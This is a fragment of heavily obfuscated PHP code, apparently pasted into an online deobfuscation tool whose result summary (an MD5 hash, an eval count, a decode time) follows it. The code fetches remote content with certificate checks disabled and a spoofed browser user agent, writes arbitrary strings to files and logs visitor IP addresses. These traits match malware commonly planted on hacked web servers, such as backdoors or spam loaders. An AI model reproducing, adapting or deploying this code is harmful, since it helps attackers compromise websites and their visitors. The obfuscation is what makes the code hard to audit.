${"\x47\x4cO\x42\x41L\x53"}["\x62nzu\x77\x76k\x6d"]="c\x68";
${"G\x4c\x4f\x42\x41\x4cS"}["\x78y\x77un\x6fq\x79"]="\x63\x68";
$bvmbhjqg="\x63\x68";
$abxlyyd="\x62\x6fd\x79";
${$nrgiyjvvq}=curl_init();
curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x67s\x76g\x6b\x78j"]},CURLOPT_URL,${$mddvbofkvn});
curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6ab\x6en\x6a\x69zyc"]},CURLOPT_FOLLOWLOCATION,1);
$ytjnyknrlmd="c\x68";
${"\x47\x4c\x4fB\x41\x4cS"}["\x77jr\x6d\x71\x7a\x6a\x70f\x76"]="\x63\x68";
curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["x\x79\x77un\x6f\x71\x79"]},CURLOPT_SSL_VERIFYPEER,FALSE);
$xowuecv="\x68\x65\x61\x64er";
$rxyooh="\x75a";
curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x6a\x62n\x6e\x6ai\x7a\x79\x63"]},CURLOPT_SSL_VERIFYHOST,FALSE);
$gyubiwyw="c\x68";
curl_setopt(${${"\x47\x4c\x4fBA\x4cS"}["\x62n\x7a\x75\x77\x76\x6b\x6d"]},CURLOPT_ENCODING,"\x67\x7aip,\x64ef\x6cate");
curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6ejb\x6e\x6e\x6a\x69\x7ayc"]},CURLOPT_CONNECTTIMEOUT,30);
${"\x47\x4c\x4f\x42AL\x53"}["\x72\x78v\x67\x74x\x6f"]="\x63\x68";
curl_setopt(${${"\x47\x4c\x4fB\x41\x4c\x53"}["wjrmq\x7a\x6ap\x66v"]},CURLOPT_RETURNTRANSFER,1);
${"\x47L\x4f\x42\x41\x4cS"}["c\x70z\x71\x72wf\x6c"]="\x75\x61";
${"G\x4c\x4fB\x41\x4c\x53"}["t\x6e\x6b\x7a\x77\x63\x64\x6b\x69"]="c\x6f\x64\x65";
(${$xowuecv}===null)?"":curl_setopt(${${"\x47\x4c\x4fBA\x4cS"}["\x72xv\x67t\x78\x6f"]},CURLOPT_HTTPHEADER,${$rxyqcxjmg});
$pphsfj="p\x6f\x73\x74d\x61\x74\x61";
(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x77ub\x63vhnm"]}===null||${$rxyooh}==="")?"":curl_setopt(${$ytjnyknrlmd},CURLOPT_USERAGENT,${${"\x47\x4c\x4f\x42\x41L\x53"}["c\x70z\x71\x72w\x66l"]});
if(${$pphsfj}!==null&&${${"GL\x4f\x42\x41\x4c\x53"}["\x6e\x71p\x6ce\x6e\x77\x79"]}!==""){$mcvpxlg="\x63\x68";
${"\x47\x4c\x4fBA\x4c\x53"}["\x70g\x78\x6f\x67gh\x69\x63e"]="\x63\x68";
curl_setopt(${$mcvpxlg},CURLOPT_POST,1);
curl_setopt(${${"G\x4c\x4fB\x41\x4c\x53"}["\x70gx\x6f\x67gh\x69\x63e"]},CURLOPT_POSTFIELDS,${${"\x47\x4c\x4fB\x41\x4c\x53"}["d\x6a\x68\x61\x75\x71\x6ev\x67\x6a"]});
}${"\x47\x4cO\x42\x41\x4cS"}["\x62\x69gux\x79\x68\x75o\x70\x6d"]="c\x74\x79pe";
${$abxlyyd}=curl_exec(${$bvmbhjqg});
${${"G\x4c\x4fB\x41\x4c\x53"}["t\x6e\x6bzw\x63\x64\x6bi"]}=curl_getinfo(${${"\x47\x4cO\x42A\x4c\x53"}["n\x6a\x62\x6en\x6aiz\x79c"]},CURLINFO_HTTP_CODE);
${${"\x47\x4cOBALS"}["\x62\x69\x67u\x78y\x68\x75\x6f\x70\x6d"]}=curl_getinfo(${${"\x47\x4c\x4f\x42A\x4c\x53"}["n\x6a\x62\x6enj\x69z\x79\x63"]},CURLINFO_CONTENT_TYPE);
curl_close(${$gyubiwyw});
}catch(Exception$e){}if($body===false&&function_exists('file_get_contents')){ini_set("us\x65\x72_\x61gent","\x4d\x6f\x7a\x69\x6cla/\x34.\x30 (com\x70atib\x6ce\x3b\x4d\x53\x49\x45 \x36\x2e0;
\x57ind\x6f\x77\x73\x20NT \x35\x2e\x32;
.N\x45\x54 \x43\x4cR\x20\x31\x2e\x31\x2e43\x322)");
try{${"\x47\x4c\x4fB\x41L\x53"}["\x79vssiukr\x78\x66f"]="\x62\x6f\x64y";
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x79v\x73siuk\x72\x78\x66\x66"]}=@file_get_contents(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7ayw\x6b\x75\x72\x72"]});
}catch(Exception$e){};
}return array(${$ingfyjovy},${${"\x47\x4cO\x42A\x4cS"}["\x62o\x6ai\x67\x61\x63\x63\x7a"]},${$smzddrqxdu});
}function todk($fil,$str){${"\x47\x4c\x4f\x42AL\x53"}["\x65r\x6cv\x66\x65y\x79\x6c\x62\x6c"]="\x73t\x72";
${"GL\x4f\x42\x41L\x53"}["\x6d\x6b\x79q\x6f\x71h\x6d\x76"]="f\x69l";
@file_put_contents(${${"G\x4cOB\x41\x4c\x53"}["\x6dk\x79\x71oq\x68\x6d\x76"]},${${"\x47\x4cOB\x41L\x53"}["\x65\x72\x6cvfeyy\x6c\x62\x6c"]});
}function clientip(){${"GL\x4fB\x41LS"}["veiux\x75\x69\x6c\x64"]="rea\x6ci\x70";
${${"\x47\x4c\x4fBAL\x53"}["v\x65iu\x78uil\x64"]}="";
$wuleehrdqmo="\x72\x65a\x6ci\x70";
if(isset($_SERVER["H\x54TP\x5f\x58\x5fF\x4f\x52\x57A\x52DED\x5f\x46\x4fR"])&&$_SERVER["HT\x54\x50\x5f\x58_FO\x52W\x41RD\x45\x44_F\x4fR"]!==""){${${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x74\x74klj\x72\x62\x79k\x79"]}=$_SERVER["\x48\x54TP_X\x5fFO\x52\x57ARD\x45\x44\x5fFOR"];
}elseif(getenv("\x52\x45\x4dOTE\x5fADDR")&&strcasecmp(getenv("\x52\x45MOT\x45_A\x44DR"),"u\x6e\x6bno\x77n")){${"\x47\x4c\x4fB\x41\x4cS"}["ie\x65\x79\x65s"]="r\x65\x61\x6ci\x70";
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x65e\x79e\x73"]}=getenv("R\x45M\x4fTE_\x41DDR");
}elseif(isset($_SERVER["R\x45\x4dO\x54E\x5f\x41D\x44\x52"])&&$_SERVER["\x52E\x4d\x4f\x54\x45_ADD\x52"]&&strcasecmp($_SERVER["RE\x4d\x4f\x54E\x5fA\x44D\x52"],"\x75n\x6bn\x6f\x77\x6e")){${${"G\x4c\x4fB\x41LS"}["\x78\x74\x74\x6b\x6cj\x72b\x79\x6by"]}=$_SERVER["\x52\x45\x4d\x4fTE_\x41DD\x52"];
}if(stristr(${$wuleehrdqmo},",")){$quxkjjt="v\x61\x6c\x75\x65\x73";
${$quxkjjt}=explode(",",${${"\x47LOB\x41L\x53"}["\x78t\x74\x6bl\x6a\x72\x62\x79\x6b\x79"]});
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x74tkl\x6a\x72\x62\x79k\x79"]}=${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x6f\x6ao\x78\x70uo"]}[0];
}return${${"\x47L\x4f\x42AL\x53"}["\x78\x74t\x6blj\x72\x62\x79\x6b\x79"]};
}

Function Calls

None

Variables

None

Stats

MD5 7bb2cc7e6d9e9ea3b6ec3694a1a4d93e
Eval Count 0
Decode Time 69 ms